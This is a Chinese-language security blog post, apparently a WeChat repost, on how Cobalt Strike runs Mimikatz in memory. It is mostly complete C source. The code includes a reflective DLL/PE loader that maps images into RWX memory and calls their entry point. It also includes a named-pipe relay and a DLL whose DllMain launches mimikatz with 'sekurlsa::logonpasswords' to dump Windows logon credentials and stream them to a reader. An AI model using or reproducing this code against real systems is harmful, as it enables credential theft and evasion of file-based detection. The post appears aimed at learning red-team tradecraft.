大家肯定很想知道Cobalt Strike 内存加载执行 Mimikatz 命令是怎么实现的,然后呢?本人一直在验证内存加载fscan,frp等工具上想破脑袋,但是有幸在网上冲浪看见了看雪上的一篇文章叫《Cobalt Strike 内存加载执行 Mimikatz 命令研究》
然后就研究了一晚,也理解了forkandrun的原理,也就有了今天的文章。
了解PE结构,PELoad,pipe管道,普通的CMD命令终端,在这里我就不去唠嗑PE结构了,我相信大家肯定都会,PIPE相关的知识可以去看看我在先知上发布的文章:
文章 - Pipe管道利用研究分享 - 先知社区
然后的话就是PEload(我发现可以加载exe,也可以加载DLL有点像反射DLL代码也很像)的话
1、将原始exe或DLL文件加载至内存缓冲区;
2、解析exe或DLL标头并获取SizeOfImage;
3、为exe或DLL分配新的内存空间,大小为SizeOfImage;
4、将exe或DLL头和PE节复制到中分配的内存空间;
5、执行重定位;
6、加载exe或DLL导入的库,解析导入地址表(IAT);
7、调用exe或DLL
我也不唠了,感兴趣就去自己研究一下对自己对windows加载文件的理解
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef BOOL(WINAPI* DllMainFunc)(HINSTANCE, DWORD, LPVOID);
void* LoadRdiDll(unsigned char* dllBuffer);
void ExecuteRdiDll(void* baseAddress);
unsigned char* ReadDllFromFile(const char* filePath, DWORD* size);
// 读取 DLL 文件到内存
unsigned char* ReadDllFromFile(const char* filePath, DWORD* size) {
FILE* file = fopen(filePath, "rb");
if (!file) {
printf("无法打开文件: %sn", filePath);
return NULL;
}
fseek(file, 0, SEEK_END);
*size = ftell(file);
rewind(file);
unsigned char* buffer = (unsigned char*)malloc(*size);
if (!buffer) {
printf("内存分配失败n");
fclose(file);
return NULL;
}
fread(buffer, 1, *size, file);
fclose(file);
return buffer;
}
// 反射加载 DLL
void* LoadRdiDll(unsigned char* dllBuffer) {
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)dllBuffer;
IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)(dllBuffer + dosHeader->e_lfanew);
SIZE_T imageSize = ntHeaders->OptionalHeader.SizeOfImage;
// 1. 分配目标内存
void* baseAddress = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!baseAddress) {
printf("VirtualAlloc 失败n");
return NULL;
}
// 2. 复制 PE 头部
memcpy(baseAddress, dllBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);
// 3. 复制各个节
IMAGE_SECTION_HEADER* sectionHeader = (IMAGE_SECTION_HEADER*)(ntHeaders + 1);
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
void* dest = (void*)((BYTE*)baseAddress + sectionHeader[i].VirtualAddress);
void* src = (void*)(dllBuffer + sectionHeader[i].PointerToRawData);
memcpy(dest, src, sectionHeader[i].SizeOfRawData);
}
// 4. 处理重定位(Base Relocation)
ULONGLONG delta = (ULONGLONG)((BYTE*)baseAddress - ntHeaders->OptionalHeader.ImageBase);
if (delta) {
IMAGE_DATA_DIRECTORY relocDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocDir.Size > 0) {
IMAGE_BASE_RELOCATION* reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)baseAddress + relocDir.VirtualAddress);
while (reloc->VirtualAddress > 0) {
int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD* relocData = (WORD*)(reloc + 1);
for (int i = 0; i < count; i++) {
if (relocData[i] >> 12 == IMAGE_REL_BASED_DIR64) {
ULONGLONG* patchAddr = (ULONGLONG*)((BYTE*)baseAddress + reloc->VirtualAddress + (relocData[i] & 0x0FFF));
*patchAddr += delta;
}
}
reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);
}
}
}
// 5. 处理导入表(Import Address Table)
IMAGE_DATA_DIRECTORY importDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (importDir.Size > 0) {
IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)baseAddress + importDir.VirtualAddress);
while (importDesc->Name) {
char* moduleName = (char*)((BYTE*)baseAddress + importDesc->Name);
HMODULE moduleHandle = LoadLibraryA(moduleName);
if (moduleHandle) {
IMAGE_THUNK_DATA64* thunk = (IMAGE_THUNK_DATA64*)((BYTE*)baseAddress + importDesc->FirstThunk);
while (thunk->u1.Function) {
if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
thunk->u1.Function = (ULONGLONG)GetProcAddress(moduleHandle, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));
}
else {
IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((BYTE*)baseAddress + thunk->u1.AddressOfData);
thunk->u1.Function = (ULONGLONG)GetProcAddress(moduleHandle, importByName->Name);
}
thunk++;
}
}
importDesc++;
}
}
return baseAddress;
}
// 执行 DLL
void ExecuteRdiDll(void* baseAddress) {
IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)((BYTE*)baseAddress + ((IMAGE_DOS_HEADER*)baseAddress)->e_lfanew);
DllMainFunc entryPoint = (DllMainFunc)((BYTE*)baseAddress + ntHeaders->OptionalHeader.AddressOfEntryPoint);
// 6. 调用 DLLMain
entryPoint((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, NULL);
}
int main(int argc, char* argv[]) {
/*if (argc != 2) {
printf("用法: %s <DLL 文件路径>n", argv[0]);
return 1;
}*/
DWORD dllSize;
unsigned char* dllBuffer = ReadDllFromFile("C:\Users\***\Desktop\NEW\Dll1\x64\Debug\Dll1.dll", &dllSize);
if (!dllBuffer) {
return 1;
}
void* dllBase = LoadRdiDll(dllBuffer);
if (dllBase) {
printf("64 位 DLL 加载成功,正在执行...n");
ExecuteRdiDll(dllBase);
printf("DLL 执行完毕!n");
}
else {
printf("DLL 加载失败!n");
}
free(dllBuffer);
return 0;
}
然后普通的CMD命令终端代码比较简单,我直接也是贴代码,自己理解对自己也好
#include <windows.h>
#include <stdio.h>
#define PIPE_NAME "\\.\pipe\MimikatzPipe"
#define BUFSIZE 80000
int main() {
HANDLE hPipe;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe, hWritePipe;
PROCESS_INFORMATION pi;
STARTUPINFO si;
DWORD bytesRead;
CHAR buffer[BUFSIZE];
// 创建命名管道
hPipe = CreateNamedPipeA(
PIPE_NAME,
PIPE_ACCESS_OUTBOUND, // 仅写入
PIPE_TYPE_BYTE | PIPE_WAIT,
1, // 最大连接数
BUFSIZE,
BUFSIZE,
0,
NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("CreateNamedPipe failed (%d)n", GetLastError());
return 1;
}
printf("等待读取端连接...n");
if (!ConnectNamedPipe(hPipe, NULL)) {
printf("ConnectNamedPipe failed (%d)n", GetLastError());
CloseHandle(hPipe);
return 1;
}
printf("管道已连接,执行 mimikatz.exe...n");
// 设置安全属性,允许管道继承
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
// 创建匿名管道(用于子进程重定向输出)
if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
printf("CreatePipe failed (%d)n", GetLastError());
CloseHandle(hPipe);
return 1;
}
// 初始化 STARTUPINFO
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;
si.dwFlags |= STARTF_USESTDHANDLES;
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
// 启动 mimikatz.exe
if (!CreateProcess(
NULL,
(LPSTR)"C:\Users\liuhua\Desktop\mimikatz1.exe sekurlsa::logonpasswords exit", // 程序路径及参数
NULL,
NULL,
TRUE, // 子进程继承父进程的句柄
0,
NULL,
NULL,
&si,
&pi) ){
printf("CreateProcess failed (%d)n", GetLastError());
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hPipe);
return 1;
}
// 关闭子进程不需要的写入端
CloseHandle(hWritePipe);
// 读取 mimikatz.exe 的输出,并写入命名管道
while (ReadFile(hReadPipe, buffer, BUFSIZE - 1, &bytesRead, NULL) && bytesRead > 0) {
buffer[bytesRead] = ' '; // 确保字符串终止
WriteFile(hPipe, buffer, bytesRead, NULL, NULL);
}
// 关闭管道和进程句柄
CloseHandle(hReadPipe);
CloseHandle(hPipe);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
好了现在可以去实现一下cs下内存加载mimikatz的密码了。
也是直接贴代码吧,最近比较忙,大概原理就是DLL远程拉取到内存中,在通过PEload反射加载DLL加载,创建子进程执行内存将输出的结果丢入管道,小demo模拟CS进程读取管道内的信息打印到console界面。
read端
#include <windows.h>
#include <stdio.h>
#define PIPE_NAME "\\.\pipe\MimikatzPipe"
#define BUFSIZE 4096
int main() {
HANDLE hPipe;
CHAR buffer[BUFSIZE];
DWORD bytesRead;
printf("尝试连接到管道...n");
hPipe = CreateFileA(
PIPE_NAME,
GENERIC_READ, // 仅读取
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("CreateFile failed (%d)n", GetLastError());
return 1;
}
printf("已连接到管道,读取数据...n");
// 读取并打印管道数据
while (ReadFile(hPipe, buffer, BUFSIZE - 1, &bytesRead, NULL) && bytesRead > 0) {
buffer[bytesRead] = ' '; // 确保字符串终止
printf("%s", buffer);
}
// 关闭管道
CloseHandle(hPipe);
return 0;
}
DLL代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include <iostream>
#define PIPE_NAME "\\.\pipe\MimikatzPipe"
#define BUFSIZE 80000
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
// 创建命名管道
HANDLE hPipe;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe, hWritePipe;
PROCESS_INFORMATION pi;
STARTUPINFO si;
DWORD bytesRead;
CHAR buffer[BUFSIZE];
// 创建命名管道
hPipe = CreateNamedPipeA(
PIPE_NAME,
PIPE_ACCESS_OUTBOUND, // 仅写入
PIPE_TYPE_BYTE | PIPE_WAIT,
1, // 最大连接数
BUFSIZE,
BUFSIZE,
0,
NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("CreateNamedPipe failed (%d)n", GetLastError());
return 1;
}
printf("等待读取端连接...n");
if (!ConnectNamedPipe(hPipe, NULL)) {
printf("ConnectNamedPipe failed (%d)n", GetLastError());
CloseHandle(hPipe);
return 1;
}
printf("管道已连接,执行 mimikatz.exe...n");
// 设置安全属性,允许管道继承
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
// 创建匿名管道(用于子进程重定向输出)
if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
printf("CreatePipe failed (%d)n", GetLastError());
CloseHandle(hPipe);
return 1;
}
// 初始化 STARTUPINFO
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;
si.dwFlags |= STARTF_USESTDHANDLES;
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
// 启动 mimikatz.exe
if (!CreateProcess(
NULL,
(LPSTR)"C:\Users\liuhua\Desktop\mimikatz1.exe sekurlsa::logonpasswords exit", // 程序路径及参数
NULL,
NULL,
TRUE, // 子进程继承父进程的句柄
0,
NULL,
NULL,
&si,
&pi)) {
printf("CreateProcess failed (%d)n", GetLastError());
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hPipe);
return 1;
}
// 关闭子进程不需要的写入端
CloseHandle(hWritePipe);
// 读取 mimikatz.exe 的输出,并写入命名管道
while (ReadFile(hReadPipe, buffer, BUFSIZE - 1, &bytesRead, NULL) && bytesRead > 0) {
buffer[bytesRead] = ' '; // 确保字符串终止
WriteFile(hPipe, buffer, bytesRead, NULL, NULL);
}
// 关闭管道和进程句柄
CloseHandle(hReadPipe);
CloseHandle(hPipe);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Load端
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef BOOL(WINAPI* DllMainFunc)(HINSTANCE, DWORD, LPVOID);
void* LoadRdiDll(unsigned char* dllBuffer);
void ExecuteRdiDll(void* baseAddress);
unsigned char* ReadDllFromFile(const char* filePath, DWORD* size);
// 读取 DLL 文件到内存
unsigned char* ReadDllFromFile(const char* filePath, DWORD* size) {
FILE* file = fopen(filePath, "rb");
if (!file) {
printf("无法打开文件: %sn", filePath);
return NULL;
}
fseek(file, 0, SEEK_END);
*size = ftell(file);
rewind(file);
unsigned char* buffer = (unsigned char*)malloc(*size);
if (!buffer) {
printf("内存分配失败n");
fclose(file);
return NULL;
}
fread(buffer, 1, *size, file);
fclose(file);
return buffer;
}
// 反射加载 DLL
void* LoadRdiDll(unsigned char* dllBuffer) {
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)dllBuffer;
IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)(dllBuffer + dosHeader->e_lfanew);
SIZE_T imageSize = ntHeaders->OptionalHeader.SizeOfImage;
// 1. 分配目标内存
void* baseAddress = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!baseAddress) {
printf("VirtualAlloc 失败n");
return NULL;
}
// 2. 复制 PE 头部
memcpy(baseAddress, dllBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);
// 3. 复制各个节
IMAGE_SECTION_HEADER* sectionHeader = (IMAGE_SECTION_HEADER*)(ntHeaders + 1);
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
void* dest = (void*)((BYTE*)baseAddress + sectionHeader[i].VirtualAddress);
void* src = (void*)(dllBuffer + sectionHeader[i].PointerToRawData);
memcpy(dest, src, sectionHeader[i].SizeOfRawData);
}
// 4. 处理重定位(Base Relocation)
ULONGLONG delta = (ULONGLONG)((BYTE*)baseAddress - ntHeaders->OptionalHeader.ImageBase);
if (delta) {
IMAGE_DATA_DIRECTORY relocDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocDir.Size > 0) {
IMAGE_BASE_RELOCATION* reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)baseAddress + relocDir.VirtualAddress);
while (reloc->VirtualAddress > 0) {
int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD* relocData = (WORD*)(reloc + 1);
for (int i = 0; i < count; i++) {
if (relocData[i] >> 12 == IMAGE_REL_BASED_DIR64) {
ULONGLONG* patchAddr = (ULONGLONG*)((BYTE*)baseAddress + reloc->VirtualAddress + (relocData[i] & 0x0FFF));
*patchAddr += delta;
}
}
reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);
}
}
}
// 5. 处理导入表(Import Address Table)
IMAGE_DATA_DIRECTORY importDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (importDir.Size > 0) {
IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)baseAddress + importDir.VirtualAddress);
while (importDesc->Name) {
char* moduleName = (char*)((BYTE*)baseAddress + importDesc->Name);
HMODULE moduleHandle = LoadLibraryA(moduleName);
if (moduleHandle) {
IMAGE_THUNK_DATA64* thunk = (IMAGE_THUNK_DATA64*)((BYTE*)baseAddress + importDesc->FirstThunk);
while (thunk->u1.Function) {
if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
thunk->u1.Function = (ULONGLONG)GetProcAddress(moduleHandle, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));
}
else {
IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((BYTE*)baseAddress + thunk->u1.AddressOfData);
thunk->u1.Function = (ULONGLONG)GetProcAddress(moduleHandle, importByName->Name);
}
thunk++;
}
}
importDesc++;
}
}
return baseAddress;
}
// 执行 DLL
void ExecuteRdiDll(void* baseAddress) {
IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)((BYTE*)baseAddress + ((IMAGE_DOS_HEADER*)baseAddress)->e_lfanew);
DllMainFunc entryPoint = (DllMainFunc)((BYTE*)baseAddress + ntHeaders->OptionalHeader.AddressOfEntryPoint);
// 6. 调用 DLLMain
entryPoint((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, NULL);
}
int main(int argc, char* argv[]) {
/*if (argc != 2) {
printf("用法: %s <DLL 文件路径>n", argv[0]);
return 1;
}*/
DWORD dllSize;
unsigned char* dllBuffer = ReadDllFromFile("C:\Users\***\Desktop\NEW\Dll1\x64\Debug\Dll1.dll", &dllSize);
if (!dllBuffer) {
return 1;
}
void* dllBase = LoadRdiDll(dllBuffer);
if (dllBase) {
printf("64 位 DLL 加载成功,正在执行...n");
ExecuteRdiDll(dllBase);
printf("DLL 执行完毕!n");
}
else {
printf("DLL 加载失败!n");
}
free(dllBuffer);
return 0;
}
视频:
mimikatz的话并没有实现内存加载,这块还在自己研究,也算是一个遗憾吧
END
参考文章:
[原创]Cobalt Strike 内存加载执行 Mimikatz 命令研究-编程技术-看雪-安全社区|安全招聘|kanxue.com
https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/untitled-5
原文始发于微信公众号(T3Ysec):Cobalt Strike 内存加载执行 Mimikatz 命令研究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论